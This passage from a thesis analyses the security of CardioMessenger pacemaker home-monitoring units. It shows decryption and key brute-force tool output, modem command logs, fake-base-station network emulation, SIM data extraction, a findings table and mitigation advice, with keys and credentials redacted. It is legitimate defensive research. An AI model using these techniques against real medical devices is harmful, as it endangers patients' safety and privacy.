11 File entropy : 7.91 bits per byte

12

13 [*] Data sanitized !

14 [*] Brute force mode

15 [*] Binary : validation -tests/ ram_dump /

ram_b_PackToEncryptionLayer .img

16

17 ** Transport Layer **

18

19 Type of packets : 5 (hex: 05)

20 Length : 2478 bytes (hex: 09ae)

be possible to reduce the size of the key space even more by removing the null sections and the
sections we know the key is not in.

18This value is not constant, but the time remains below 10 minutes.
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21 Unknown : 2 (hex: 02)

22 Packet ID: 0 (hex: 0000)

23 CM ID: [ REDACTED ] (hex: [ REDACTED ])

24 Checksum : 47070 (hex: b7de)

25

26 [*] Brute forcing the AES key ...

27 [*] 2097152 keys to try

28 ..............................................................

29 ..............................................................

30 ..................

31 [*] Key Found in 37.69s!

32

33 Key: [ REDACTED ]

34 Addr: 0 x0015d180

Any data sent by the HMU to the server can now be accessed. An example is
presented in Listing 4.15.

Listing 4.15: Decrypting the data sent by the HMU

1 $ python3 cm - decrypt .py -k [ REDACTED ] validation -tests/

file_modem .bin

2 ** CM DECRYPT v1.0 **

3

4 [*] Opening validation -tests/ file_modem .bin ...

5

6 -- FILE INFORMATION --

7

8 File size: 2514 bytes (hex: 9D2)

9 File created : Sat May 18 00:42:41 2019

10 File modified : Sat May 18 00:42:41 2019

11 File entropy : 7.91 bits per byte

12

13 [*] Data sanitized !

14 [*] Decrypt mode

15 ** Transport Layer **

16

17 Type of packets : 5 (hex: 05)

18 Length : 2478 bytes (hex: 09ae)

19 Unknown : 2 (hex: 02)

20 Packet ID: 0 (hex: 0000)

21 CM ID: [ REDACTED ] (hex: [ REDACTED ])

22 Checksum : 47070 (hex: b7de)

23

24 ** Encryption Layer **

25



4.2. SECURITY ANALYSIS OF THE CARDIOMESSENGER II-S TLINE 71

26 Length of the packet : 2466 (hex: 9a2) (div by 16? No)

27 Type of packet : 8 (hex: 08) => AES_CBC

28 Padding : 15 (hex: 0f)

29 IV: 5 c8aff9dd3a7bb54f04915bc18e96fbb

30 Key: [ REDACTED ]

31

32 ** Compression Layer **

33

34 Compression packet : Yes

35 Magic header : 0x1f8b => gzip compressed data , from Unix

36 Entropy : 7.72

37

38 ** Message Layer **

39

40 Size of the recovered data: 28538 bytes

41 Number of packets : 105

42 Entropy : 3.94

Finding F10: The usage of debug strings, even if debug is not enabled, ease the
reverse engineering of the communication protocol.

Finding F11: The AES key is hard coded in the memory, allowing an attacker
who accesses it to decrypt all outgoing communication from the HMU, and to
forge her own packets.
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(a) DES

(b) 3DES CBC

(c) AES CBC

Figure 4.27: Different encryption algorithms used in PackToEncryptionLayer
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4.3 Security Analysis of the CardioMessenger II-S GSM

4.3.1 Hardware analysis

As one can notice in Figure 4.28, the CardioMessenger II-S GSM is very similar to
the TLine version. The only differences stand in the modem and its surroundings
components. Similarly, there is no obfuscation of hardware components.

Microcontroller

Burst Flash

RAM

DSP

SIM Card

Modem

GSM Antenna

Antenna

Figure 4.28: Inside of the CardioMessenger II-S T-Line

As with the CardioMessenger II-S, multiple elements can be identified and searched
on the internet for datasheets. Apart from the modem, they are in fact the same.

– The microcontroller which is based on an ARM Thumb Processor and featured
with debug and UART interfaces

– A Burst Flash memory with a capacity of 4Mb

– An external RAM

– A DSP

– A modem that can provide an internet access using the mobile network

– An antenna that is most likely to be used to communicate with the pacemaker

– A second antenna that is used for the mobile broadband

– A SIM card from “t-mobile”, a german company
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The same PCB is used for both CardioMessenger II-S, that is why one can see
the circuit where the TLine modem is supposed to be. Due to these similarities, most
of the hypotheses tested on the TLine version gave the same results on the GSM
version. Hence, we only present in this section the differences that have been noticed
along with the new hypotheses related to the mobile network. We have not been
able to assert the hypotheses regarding the JTAG interface and the memory analysis
due to the complexity of the soldering, but we are confident that these findings are
repeatable.

4.3.2 Eavesdropping and network emulation

Modem’s communication channel (H3)

H3.1 Passive eavesdropping of the channel

On the CardioMessenger II-S TLine, the modem was on its own PCB, which was
plugged on the main board, exposing its pins and easing the eavesdropping task. On
the GSM version, the modem is also plugged on the main board but is not exposing
its pins. Even if it would be possible to remove it and connect our computer in
between, we took instead advantage of the fact that both CardioMessenger have the
same PCB. Indeed, by eavesdropping on the circuit where the modem of the TLine
version is supposed to be plugged, one can get the same results. It is thus possible
to access to the communication between the microcontroller and the modem and to
get the “AT commands”. Such an eavesdrop session is presented in Listing 4.16

Listing 4.16: AT commands sent by the microcontroller to the GSM modem

1 [2019 -03 -06 14:25:12] AT

2 [2019 -03 -06 14:25:13] AT+CGMR

3 [2019 -03 -06 14:25:13] AT+MBAND?

4 [2019 -03 -06 14:25:13] AT+CPIN?

5 [2019 -03 -06 14:25:13] AT+CPIN ="[ REDACTED ]"

6 [2019 -03 -06 14:25:14] AT+CPIN?

7 [2019 -03 -06 14:25:14] AT+CGSN

8 [2019 -03 -06 14:25:14] AT+CIMI

9 [2019 -03 -06 14:25:14] AT+CRSM =176 ,242

10 [2019 -03 -06 14:25:14] ATS24 =0

11 [2019 -03 -06 14:25:15] ATS100 =0

12 [2019 -03 -06 14:25:15] ATS102 =0

13 [2019 -03 -06 14:25:15] AT+MSCTS =0

14 [2019 -03 -06 14:25:20] AT+CREG?

15 [2019 -03 -06 14:25:22] AT+CREG?

16 [2019 -03 -06 14:25:24] AT+CREG?

17 [2019 -03 -06 14:25:24] AT+COPS?

18 [2019 -03 -06 14:25:29] AT+CGPRS
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19 [2019 -03 -06 14:25:29] AT+CGMI

20 [2019 -03 -06 14:25:29] AT+COPS =3,2

21 [2019 -03 -06 14:25:29] AT+COPS?

22 [2019 -03 -06 14:25:29] AT+COPS =3,0

23 [2019 -03 -06 14:25:29] AT+CSQ

24 [2019 -03 -06 14:25:32] AT+CSQ

25 [2019 -03 -06 14:25:32] AT+CREG =2

26 [2019 -03 -06 14:25:32] AT+CREG?

27 [2019 -03 -06 14:25:32] AT+CREG =0

28 [2019 -03 -06 14:25:38] AT

29 [2019 -03 -06 14:25:38] AT+CPMS ="SM"

30 [2019 -03 -06 14:25:38] AT+CMGL =4

31 [2019 -03 -06 14:25:38] AT+ MIPCALL =1 ,"[ REDACTED ]" ,"[ REDACTED ]@cm3 -

homemonitoring .de","[ REDACTED ]"

32 [2019 -03 -06 14:30:38] AT+MRST

The operations performed are the same than the one on the TLine version. The
difference here, is that the configuration is for a GSM modem. One can notice that
is again possible to gather cleartext credentials to connect to the VPN, along with
the PIN code of the SIM card.

The MIPCALL command is asking the modem to set up the IP stack and is supposed
to provide the HMU with an IP in the VPN network. However, that command seems
to fail which is why the HMU resets the modem after five minutes and starts the
whole process again.

Even though it is possible to eavesdrop the communication on that circuit, it is not
possible to reproduce all hypotheses tested against the CardioMessenger II-S TLine.
It is indeed not possible to eavesdrop on the “RX” pin (DTE convention).

H3.2 Credentials are still valid

As already explained for the TLine, credentials seems revoked, as it is not possible
to use them to connect to the APN with a regular phone and the CardioMessenger
II-S GSM is not able to connect anymore to the server. However, after Lie used the
SIM card from the CardioMessenger LLT2 in the CardioMessenger II-S GSM, she
confirmed that the credentials are still valid and it is in fact the SIM card which
is not valid anymore. As the PIN codes of the two SIM cards were not the same,
she used the information provided by the APDU script (described in Section 4.5)
to obtain the PIN code of the SIM card of the CardioMessenger LLT2 and then
reprogram it with the PIN code of the CardioMessenger II-S GSM.

Finding F12: The PCB design of the CardioMessenger II-S is the same for
both versions, exposing its circuit to an attacker who can then eavesdrop the
communication between the microcontroller and the modem.
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Network emulation (H4)

Given the results of the previous hypotheses, the next step was to emulate the
network to trick the HMU into thinking it can send the information to the server.
However, spoofing the modem is this time more complex as one cannot simply unplug
it and plug a computer instead (without a specific connector). Consequently, we
collaborated with Lie to use the Fake Base Station they set up and emulate the
VPN connection. When provided the HMU with a internet access, it sends another
command, after the MIPCALL command, to open a TCP socket to a specific IP, which
is private and the same as the one used in the TLine version. This is presented in
Listing 4.17.

Listing 4.17: The HMU trying to contact the server

1 [2019 -03 -04 10:31:20] AT+CMGL =4

2 [2019 -03 -04 10:31:20] AT+ MIPCALL =1 ,"[ REDACTED ]" ,"[ REDACTED ]@cm3 -

homemonitoring .de","[ REDACTED ]"

3 [2019 -03 -04 10:31:24] AT+ MIPOPEN =1 ,3953 ,"172.16.14.1" ,2323 ,0

From there, one can guess the overall network architecture that is normally used
by the HMU to communicate with Biotronik’s servers. Figure 4.29 shows what we
guess is expected by the HMU.

Figure 4.29: Guess of the network architecture between the HMU and the servers

To emulate that architecture, we added an Ubuntu machine in a private network
with the IP address requested by the HMU. The routing table are then configured
so that the HMU can contact the server. We opened a TCP socket on that server,
on port 2323 to see if the HMU sends something. Figure 4.30 presents the network
diagram of the emulated network.
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Figure 4.30: Network diagram of the emulated network

As a result of the emulation, the HMU contacted the server and after having sent
the credentials (which are again the same as the one used for the VPN), it sends
data (see Listing 4.18).

Listing 4.18: The HMU contacting the fake server

1 [2019 -03 -01 13:35:35] AT+CMGL =4

2 [2019 -03 -01 13:35:35] AT+ MIPCALL =1 ,"[ REDACTED ]" ,"[ REDACTED ]@cm3 -

homemonitoring .de","[ REDACTED ]"

3 [2019 -03 -01 13:35:36] AT+ MIPOPEN =1 ,6407 ,"172.16.14.1" ,2323 ,0

4 [2019 -03 -01 13:35:41] AT+ MIPSETS =1 ,1372

5 [2019 -03 -01 13:35:41] AT+ MIPSEND =1 ,"[ REDACTED ]"

6 [2019 -03 -01 13:35:41] AT+CSQ

7 [2019 -03 -01 13:35:41] AT+ MIPPUSH =1

8 [2019 -03 -01 13:35:46] AT+ MIPSEND =1 ,"050 DFE000000 [ REDACTED ]080 BE6

9 E2F7AA0FCD96EC016D65E2A28E09F23E5AB69B404957EAB038A3EC4472ABF6

10 9 C50F282C0A45C8F9C578315E97871828432DFD777921451993950F40FCB1E

11 F9"

12 [2019 -03 -01 13:35:46] AT+ MIPSEND =1 ,"941 E44938B37B27EC1E99F6772

13 93 A2A08A784C4A2AEDD44873812D44183D9FD896687105326ABFAC7213347A

14 D7398BA48D86E8A555AFA868C2862F893B7C46B9A43B01103B0A17C7C692F0

15 34"

16 [ Cropped ]

Data analysis (H5)

As one can see from Listing 4.18, the data sent follows the same scheme as the one
sent by the TLine version. First, the HMU also sends the credentials to connect to
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the service and then, the data themselves.

The protocol being the same, we wondered if the AES key is also the same.
However, as shown in Listing 4.19, the key found in the TLine HMU does not decrypt
the data successfully.

Listing 4.19: Using the AES key from the TLine version on the data

1 $ python3 cm - decrypt .py -n -k [ REDACTED ] files_extracted /data.

bin

2 ** CM DECRYPT v1.0 **

3

4 [*] Opening files_extracted /data.bin ...

5

6 -- FILE INFORMATION --

7

8 File size: 3582 bytes (hex: DFE)

9 File created : Mon May 13 11:19:37 2019

10 File modified : Mon May 13 11:19:37 2019

11 File entropy : 7.94 bits per byte

12

13 [*] Decrypt mode

14 ** Transport Layer **

15

16 Type of packets : 5 (hex: 05)

17 Length : 3582 bytes (hex: 0dfe)

18 Unknown : 0 (hex: 00)

19 Packet ID: 0 (hex: 0000)

20 CM ID: [ REDACTED ] (hex: [ REDACTED ])

21 Checksum : 15713 (hex: 3d61)

22

23 ** Encryption Layer **

24

25 Length of the packet : 3570 (hex: df2) (div by 16? No)

26 Type of packet : 8 (hex: 08) => AES_CBC

27 Padding : 11 (hex: 0b)

28 IV: e6e2f7aa0fcd96ec016d65e2a28e09f2

29 Key: [ REDACTED ]

30

31 ** Compression Layer **

32

33 [ERROR] Not a compression layer packet !

Given the fact the firmware is the same, our second hypothesis was that the key
of the GSM version was different but still included in the firmware. So we tried to
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brute force using the firmware file. However it did not work either as highlighted by
Listing 4.20.

Listing 4.20: Bruteforcing the AES key using the firmware file

1 $ python3 cm - decrypt .py -n -b validation -tests/ ram_dump /

flash_content_start .img files_extracted /data.bin

2 ** CM DECRYPT v1.0 **

3

4 [*] Opening files_extracted /data.bin ...

5

6 -- FILE INFORMATION --

7

8 File size: 3582 bytes (hex: DFE)

9 File created : Mon May 13 11:19:37 2019

10 File modified : Mon May 13 11:19:37 2019

11 File entropy : 7.94 bits per byte

12

13 [*] Brute force mode

14 [*] Binary : validation -tests/ ram_dump / flash_content_start .img

15

16 ** Transport Layer **

17

18 Type of packets : 5 (hex: 05)

19 Length : 3582 bytes (hex: 0dfe)

20 Unknown : 0 (hex: 00)

21 Packet ID: 0 (hex: 0000)

22 CM ID: [ REDACTED ] (hex: [ REDACTED ])

23 Checksum : 15713 (hex: 3d61)

24

25 [*] Brute forcing the AES key ...

26 [*] 4194304 keys to try

27 ..............................................................

28 ..............................................................

29 ..............................................................

30 ..............................................................

31 ..............................................................

32 ..............................................................

33 ...............................................

34 Key not found! Time elapsed : 147.8s

In conclusion, we believe the vendor is not reusing the same AES key for all
devices (at least not for both the GSM and TLine versions). Given the way these
specific variables are stored in memory (AES key, HMU ID, credentials), it is likely
that the firmware are generated automatically for each device and that the tuples
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(HMU ID, password, AES key) are also stored on a server in the VPN.

4.3.3 Mobile network

This section presents the results obtained when looking at the SMS communication
with the HMU. We are only analyzing the SMS from the point of view of the HMU,
i.e. as a payload sent to the modem to be sent via SMS as communication channel.
What happens outside the HMU is out of our scope and is not presented in this
thesis. More information can be found in the thesis from Lie [34].

Collecting SMS (H9)

H9.1 SMS gathering

When monitoring the device for several hours, one can notice that it is sending data
to the server using a TCP socket, but it is also sending SMS as it can be observed in
Listing 4.21 (the CMGS is the command used to send SMS).

Listing 4.21: SMS are sent by the HMU

1 [2019 -03 -09 02:55:11] AT+CPMS ="SM"

2 [2019 -03 -09 02:55:11] AT+CMGL =4

3 [2019 -03 -09 02:55:11] AT+CMGF =0

4 [2019 -03 -09 02:55:11] AT+CMGS =120

5 [2019 -03 -09 02:55:11] 07919[ REDACTED ]011000 C919[ REDACTED ]00 F6

6 C86As0604FEB0555B4374D1C5EF24287FA3954CA200AFBBDC44C170DB1A8C4

7 52 DC03891BD43302DAC8DA33CE225FF99E976F9B066CA00AA5A25AB8A47218

8 D21F232ED41AED4E0F22F42E6189968D7CF6B965B73A768D7CF6B965B73A76

9 8 D7CF6B965B73A7FE059B460232575656

Plotting the timestamps of each SMS did not reveal any pattern, as shown in
Figure 4.31.

H9.2 SMS analysis

When analyzing the structure of the data sent, one can see that it is not random
data. There is indeed a header. However, it seems to be the header of an SMS PDU
(one can indeed see the destination phone number in Big endian: [REDACTED], i.e.
+47[REDACTED]). The packet we are interested in starts at 06. It indeed seems to
be a packet from the encryption layer, 06 being the code for the DES algorithm. We
are however not certain of that assumption.

Finding F13: SMS are used as a mean of communication.
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Figure 4.31: Timeline of the SMS sent by the HMU

SMS as an attack vector (H10)

H10.1 Reception of the SMS by the HMU

Using the Fake Base Station, SMS were sent to the HMU to see if it would trigger
something. It is indeed reading and deleting them from the SIM straight after as it
can be observed in Listing 4.22.

Listing 4.22: SMS are read by the HMU

1 [2019 -03 -06 09:34:01] AT+ MIPCALL =0

2 [2019 -03 -06 09:34:01] AT+CPMS ="SM"

3 [2019 -03 -06 09:34:01] AT+CMGL =4 # List all SMS

4 [2019 -03 -06 09:34:02] AT+CMGD =1 # Delete SMS at index 1

5 [2019 -03 -06 09:34:08] AT+MRST

H10.2 Parsing of the SMS by the HMU

Even if the HMU is listing and deleting the SMS, we do not know if it is parsing
them. Given the fact that the firmware is the same for both versions (see H7.3 in
the analysis of the CardioMessenger II-S TLine), we looked at the code and got
references to what seems to be the function parsing the SMS. Part of its code is
presented in Figure 4.32.

It might be possible to fuzz the HMU with SMS to make it crash.. This is however
out of our scope and has not been tried in this thesis. SMS fuzzing has, however,
already been presented by Gorenc and Molinyawe, at Defcon 22 for example [21].

Finding F14: SMS are processed by the HMU and could be used as an attack
vector.
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Figure 4.32: Decompiled code of the function processing SMS
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4.4 Summary of the findings on the CardioMessenger II-S

Tables 4.3 and 4.4 present the summary of our results regarding the security analysis
of the CardioMessenger II-S in its Telephone Line and GSM versions. The findings
are analyzed in two steps:

– Technical evaluation: do they have an impact on the CIANA criteria? Answered
by yes or no.

– Ecosystem evaluation: what is the impact on the patient’s safety and privacy?
Answered by none, low, medium or high.

The evaluation is based on the fact that findings can be combined to launch an
attack. Also, we considered that the “high” risk on the patient safety means that
the patient could be injured or worse, killed.

Distinction is made between the two devices by the version column (V):

– T: CardioMessenger II-S TLine version

– G: CardioMessenger II-S GSM version

– X∗: Finding that has not be verified by a proof of concept on that version but
which is likely to be true
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Findings Impact

ID Description V C I A N A Safety Conf.

F0 An attacker can easily open the device and there is no ob-
fuscation of the electronic components that would harden the
identification of components.

B ✕ None None

F1 An attacker can identify the UART interface is even though
there are no labels on the PCB. It is enabled and the Boot-
loader’s banner is visible during the boot process. We did
however not succeed in interacting with this UART interface
directly.

B ✕ None None

F2 The JTAG interface is enabled and available to anyone who has
some soldering skills, giving an attacker the full control over
the system. That includes reading and writing the memory but
also code execution.

T G∗
✕ ✕ ✕ ✕ ✕ High High

F3 An attacker can gather APN’s credentials by eavesdropping on
the communication channel between the microcontroller and
the modem. Those credentials are sent in cleartext and are still
valid for at least some of the devices.

B ✕ ✕ Low High

F4 There is no mutual authentication between the microcontroller
and the backend server, allowing an attacker to perform a MitM
attack.

B ✕ ✕ ✕ ✕ Medium Medium

F5 The data is sent using telnet (or an equivalent program running
over TCP) and the credentials are sent in cleartext over the
communication channel allowing an attacker to eavesdrop the
communication or to perform a MitM attack.

B ✕ ✕ ✕ ✕ Low Medium

Table 4.3: Findings summary (1)
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Findings Impact

ID Description V C I A N A Safety Conf.

F6 Credentials used to connect to the APN are reused to connect
to the “telnet-like” service. An attacker can then get an access
to the VPN and interact with the backend server using the
same credentials.

B ✕ ✕ ✕ ✕ Low Low

F7 A proprietary protocol is used to send the data to the backend
server. The HMU ID is available in the header, allowing an
attacker to link a given packet to a given HMU (and with a
given patient if she has the corresponding data).

B ✕ None Low

F8 The memory is unencrypted, allowing an attacker to access in
cleartext credentials, debug strings and all the data that is sent
to the backend server.

T G∗
✕ ✕ Medium Medium

F9 The firmware is not encrypted nor obfuscated, easing the reverse
engineering task for an attacker.

T G∗
✕ ✕ ✕ ✕ Medium High

F10 The usage of debug strings, even if debug is not enabled, ease
the reverse engineering of the communication protocol.

T G∗
✕ ✕ ✕ Low Low

F11 The AES key is hard coded in the memory, allowing an attacker
who accesses it to decrypt all outgoing communication from
the HMU, and to forge her own packets.

T G∗
✕ ✕ ✕ ✕ High High

F12 The PCB design of the CardioMessenger II-S is the same for
both versions, exposing its circuit to an attacker who can then
eavesdrop the communication between the microcontroller and
the modem.

G ✕ ✕ Low Medium

F13 SMS are used as a mean of communication. G ✕ None Low

F14 SMS are processed by the HMU and could be used as an attack
vector.

G∗
✕ Low None

Table 4.4: Findings summary (2)
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4.5 Additional results

This section presents analysis results that were obtained but that are not included in
our main scope, i.e. which do not concern directly the CardioMessenger II-S. The
first subsection presents the analysis performed on the CardioMessenger 3G and
that could constitute a base for further research. The second subsection presents
the hardware analysis of the CardioMessenger LLT2 which was performed mainly to
provide Lie with the PIN code of the SIM card [34]. That testing then helped her to
confirm that the credentials to access the VPN are still valid.

4.5.1 Hardware analysis of the CardioMessenger 3G

The CardioMessenger 3G is the most recent HMU by Biotronik at the time of this
writing. It uses the mobile network like the CardioMessenger II-S GSM. We present
here the short hardware analysis we made before focusing on the CardioMessenger
II-S, as it can be useful for further research.

Figure 4.33: Labelled pins on the back of the CardioMessenger 3G

The first step, as for the other devices, was to test the UART interface. The
CardioMessenger 3G is pretty hard to open without breaking it, but once opened the
pins are labelled. As presented on Figure 4.33, the UART and JTAG interfaces are
available on the back side of the device. However, even though the pins are labelled,
testing the UART interface did not lead to any result. Not even the Bootloader
message as it could have been expected when looking at the older devices.

Connecting to the JTAG interface requires soldering as on the CardioMessenger
II-S and we did not try it ourselves to prevent breaking the board. It seems, however,
that two interfaces are available. Given the fact that Biotronik seems to care about
security and was already taking it into account when designing the older devices,
it is not impossible that they have disabled those interfaces. That would explain
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why they are labelled. However, these are suppositions and one need to solder to
the pins to have a confirmation. A STM32 microcontroller is controlling that board,
which means the firmware could be very similar to the one we gathered on the
CardioMessenger II-S, opening the door to further research and attacks.

This board is featured with a micro-USB port, used to charge the device. However,
it could be that the USB port is also an attack vector. That is why we tried to
connect it to a host computer and see what kind of interaction is possible. The device
is visible in the output of an lsusb command but no more interaction is possible. We
then tried to use a FaceDancer19 to emulate different USB devices. The FaceDancer
is an external device, plugged between the computer and the board, which allows an
attacker to emulate multiple type of device, like a keyboard, a usb key, etc. Those
devices are usually accepted by a computer. None of the tests we performed with the
FaceDancer were successful. We have not tried to fuzz the USB interface, as it could
have broken the device and that was not the goal. Fuzzing is one of the Facedancer’s
main feature though.

4.5.2 Hardware analysis of the CardioMessenger LLT2

Part of the work of Lie on her project was to analyze the kind of data that can be
gathered through the mobile network [34]. To do so, having the PIN code of the
SIM Card inside the HMU is useful. That is why, we were asked to reproduce on
the LLT2, if possible, the eavesdropping of the communication channel between the
microcontroller and the modem. Indeed, as one can see from Figure 4.34, there are
plenty of testing points on the board. We then reproduced the testing to find a
UART interface.

As a result, we located the UART interface which, similarly to the CardioMessen-
ger II-S, displays the Bootloader’s banner and that is all. No testings for the JTAG
interface have been performed on this board, but the behavior being really close to
the one observed on the CardioMessenger II-S, we believe that the JTAG interface
could be available on one of the pin framed in cyan on Figure 4.34. Both of those
connectors also expose the UART interface.

However, we did not find the communication channel with the modem exposed
as it is likely to be inside the PCB. That is why we decided to look at another
communication channel: the one between the modem and the SIM card. It appears
that several testing points were sitting next to the SIM card’s slot (in red in Fig-
ure 4.34). Probing them revealed serial communication. The Baud rate and the type
of encoding was different than the standard one. The Baud rate was around 105 000
Bd/s and a parity bit was also used. The data received is not directly understandable.

19Available at https://int3.cc/products/facedancer21

https://int3.cc/products/facedancer21


88 4. HMU SECURITY ANALYSIS

(a) Front (b) Back

Figure 4.34: Inside of the CardioMessenger LLT2

It corresponds in fact to Application Protocol Data Unit (APDU). The details of the
protocol are not discussed here as it is not part of the main results20. To extract
relevant information from these APDU such as PIN code and phone numbers, we
wrote a script that parses the packets and outputs a summary of the findings, as
presented in Listing 4.23. The script itself is available in Appendix B.2.

Listing 4.23: Information’s summary output by our APDU parser

1 ** ANALYSIS RESULTS **

2

3 PIN found: [ REDACTED ]

4

5 5 german ’s phone numbers found in records :

6 +49[ REDACTED ]

7 +49[ REDACTED ]

8 +49[ REDACTED ]

9 +49[ REDACTED ]

20The interested reader can find information about that standard at https://cardwerk.com/
smart-card-standard-iso7816-4-section-5-basic-organizations

https://cardwerk.com/smart-card-standard-iso7816-4-section-5-basic-organizations
https://cardwerk.com/smart-card-standard-iso7816-4-section-5-basic-organizations
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10 +49[ REDACTED ]

11

12 7 german ’s phone numbers found in total in the hex dump:

13 /!\ This is raw data and can be misleading , be careful when

dealing with it.

14 +49[ REDACTED ]

15 +49[ REDACTED ]

16 +49[ REDACTED ]

17 +49[ REDACTED ]

18 +49[ REDACTED ]

19 +49[ REDACTED ]

20 +49[ REDACTED ]

21

22 Plain texts found in the hex dump:

23 deen

24 [ REDACTED ]

25 [ Cropped ]

26 Special

27 SMS & MMS News

28 Downloads

29 Mail & Fax

30 Chat & Dating

31 [ Cropped ]

32 Eigene Rufnummer

4.6 Conclusion of the analysis

Several security issues leading to the compromise of the device have been discovered as
a result of the security analysis we performed on both versions of the CardioMessenger
II-S. This full compromise has been proved on the TLine version and is likely to be
repeatable on the GSM version.

Assessing the impact of the findings on the patient’s safety and privacy led us
conclude that both these assets are impacted, answering our research questions Q1

and Q2. Scenarios that can threaten patients’ privacy and safety are described in
Chapter 6.

When comparing Biotronik’s HMU with other vendors’ equivalent HMU such as
the Merlin@Home, which is from 2008 as well, one can notice that Biotronik’s system
implements more security measures on the hardware level than St Jude Medical.
However, when physical access is granted, both devices can be compromised without
special skills.





Chapter

5Mitigation

5.1 Mitigation of our findings

As a result of the security analysis conducted on the CardioMessenger II-S, several
vulnerabilities were discovered, impacting both the patient’s safety and privacy. Even
if the vendor has implemented some security mechanisms, they failed to protect the
physical layer which leads to the HMU being vulnerable to our attacks. It is not
possible to mitigate most of the vulnerabilities as they lie in the hardware layer,
which would require a new board design. That does not make sense due to the age
of the device. The best mitigation is here to replace the CardioMessenger II-S still
used in production with more recent versions which include better security measures.
We shortly described security measures that could have been implemented to harden
our task while analyzing the security of the device. Details on our recommendations
and more advanced mitigation solutions are explained in the next Section.

5.1.1 Mitigating the physical tampering

Tampering mechanisms

No tampering mechanisms are implemented in the CardioMessenger II-S. Opening
the device takes less than five minutes and does not require special tools nor to
break anything. Adding tampering detection and tampering response mechanisms
(as described in the next Section) would have hardened our task, as we did not have
many devices at our disposal. Sacrificing one device was not an option. HMUs can
be easily acquired using the internet, on eBay for example, but they are sold by
individuals and not by companies. Consequently, the stock of a specific device is
usually limited and response mechanisms which destroy the device could be a good
measure to discourage “hobbyist” attackers with a low budget.
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Obfuscation

Once opened, the components on the board are easily identified. Wiping out all
information from the chips could constitute an additional difficulty for an attacker.
The first step of an adversary is indeed to know what components are on the board
and what interfaces to look for. In the case of the CardioMessenger II-S, knowing
that the microcontroller is featured with JTAG led us to look for the corresponding
testing points. Obfuscation should not be used as a standalone security practice, but
more as an additional layer which goal is to harden the task to the attacker.

Hiding critical traces

An attacker should not have easy access to traces that can be used to gather
information. In the case of the CardioMessenger II-S, the communication channel
between the microcontroller and the modem can be eavesdropped using one of this
trace, even on the GSM version due to PCB reuse. Hiding these traces inside the
PCB is a good practice. This is, for instance, the case on the CardioMessenger 3G.

Disabling programming interfaces

The flaw that really resulted in the compromisation of the device was the discovery
of the JTAG interface. The vendor should not let the JTAG interface available
on production devices if possible. If not possible, the interface should at least be
disabled. This can be done either on the software side or on the microcontroller
after having flashed the device, and also on the circuit by using fuses to break the
connection.

5.1.2 Mitigating the network emulation

Strong transport layer encryption

The HMU is sending its data directly over a TCP socket, which provides absolutely
no security. Secure transport layer protocols such as SSL/TLS or Secure Shell (SSH)
should be used instead, to prevent an attacker from eavesdropping the communication.

Mutual authentication

There is no mutual authentication between the microcontroller and the server,
only the microcontroller authenticating itself to the server using a username and a
password. If possible, one should use protocols featuring mutual authentication such
as SSL/TLS or SSH, which allow authentication using both credentials and public
key infrastructure.
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No credentials reuse

Finally, the device is reusing the same credentials to connect to both the APN and
to the backend service. That means that even though a solution such as SSH is
implemented with credentials as the authentication method, an attacker can still
connect to both the APN and to the backend service only by knowing the APN’s
credentials.

Hardening the backend infrastructure

The credentials gathered during the assessment are still valid and allow an attacker
to access the APN, and thus the backend server. We truly recommend the vendor to
harden the available servers on the backend infrastructure and also to implement
a proper decommissioning procedure with a user management policy to prevent
unused HMU that can be gathered through the internet to be used to access the
main infrastructure and potentially exploit vulnerabilities on the server.

5.1.3 Mitigating the reverse engineering

Removing the debug function

One element that helped us start the reverse engineering process was the debug
function included in the firmware and which seems disabled on production. However,
the strings still being referenced, it gives an attacker a piece of information about the
function he is looking at. This function should not be included in the commercial
firmware.

Encrypting the firmware

The firmware is not encrypted which eases the reverse engineering process. We
recommend to encrypt the firmware and to use a special flash memory with encryption
and authentication features along with a secure way to store the cryptographic keys.

Storing the keys securely

In the case of the CardioMessenger II-S, not only the firmware is not encrypted, but
the AES key is hard-coded in the memory and not even obfuscated. The vendor
should use an additional chip, which goal would be to store the cryptographic keys
used for secure booting and for other cryptographic functionalities.
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5.2 Best practices

5.2.1 Embedded security pyramid

Even though embedded devices were not believed to be real targets by engineers,
many attacks against IoT devices such as Mirai malware and its variants, have taken
advantage of the lack of security in IoT devices to “overwhelm several high-profile
targets with massive distributed Distributed Denial of Service (DDoS) attacks” [9, 32].
The IoT devices often being endpoints of the infrastructure, they constitute a potential
attack vector and weak points in the whole architecture. Since those devices are
mass produced, finding a vulnerability in one usually means finding a vulnerability
in all the same devices. In addition, IoT devices are designed to last for several years
and are not necessarily designed to be secure ten years from their production year,
leading to breaches in infrastructures.

Securing embedded devices is challenging. One needs to address security at every
level of the system and not only on the protocol layer. To help to address those
problems in a structured manner, Hwang et al. [27] describe the “embedded security
pyramid”, which is reproduced in Figure 5.1. It is well known that security has a
cost. Also, the bigger the scope to secure, the costlier it is. That is why the notion of
“security partitioning” explained by Hwang et al. [27] is particularly interesting when
designing an embedded device. They define “security partitioning” as an application
of Kerckhoffs’ principle: the security of a system must only rely on its secrets. They
explain that the goal is to reduce the number of secrets in the system, without
reducing the security of the device. If the device is “physically compromised, it
remains secure as long as the secure module is intact”. Reducing the area to protect
also reduces costs.

The fact that an attacker can easily have physical access to the device is usually
forgotten or ignored. Now, vendors cannot neglect one of the layers in IoT security
without compromising the whole device. Indeed, the strongest security mechanisms
at the upper layers (algorithm and protocol) are useless if an attacker has access to
the data in cleartext in the flash memory. This problem is well highlighted in the
security analysis of the CardioMessenger II-S: even though data are encrypted using
AES, the key can be recovered from memory, allowing the attacker to decrypt all
communications. Obviously, implementing security at every layer cannot be done at
the end of the production. It is then highly recommended to include security in the
development cycles of the product, thus the expression “security by design”.

5.2.2 Security requirements for embedded devices

Listing all existing security measures in an exhaustive manner is neither possible
nor the goal of this chapter. However, we describe in this Subsection some security
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Figure 5.1: Embedded security pyramid [as depicted in [27]]

requirements for embedded devices to counter vulnerabilities and attack vectors
described in Section 5.1.

Weingart [57] categorizes the attackers into three different classes. This classifi-
cation is also used by Grand [22] in his guide for securing embedded devices, and
consists of the following:

Class I A clever outsider, who has limited knowledge about the system and a low
budget and equipment. This could be a curious attacker that is targeting the
system mostly for prestige and as a hobby.

Class II A knowledgeable insider, who has advanced knowledge and/or specialized
education and experience in the area. This category has access to sophisticated
tools. Typically, this class corresponds to academics.

Class III A funded organization categorized by its high budget and its ability to
recruit class II attackers to attack the system. This corresponds to organized
crime or to a government.

In our thesis, we, as the attackers, would be classified as Class I attackers. The
findings described in Chapter 4 do not require any advanced knowledge (class II
attackers) nor extended funding (class III attackers), which is one of the biggest
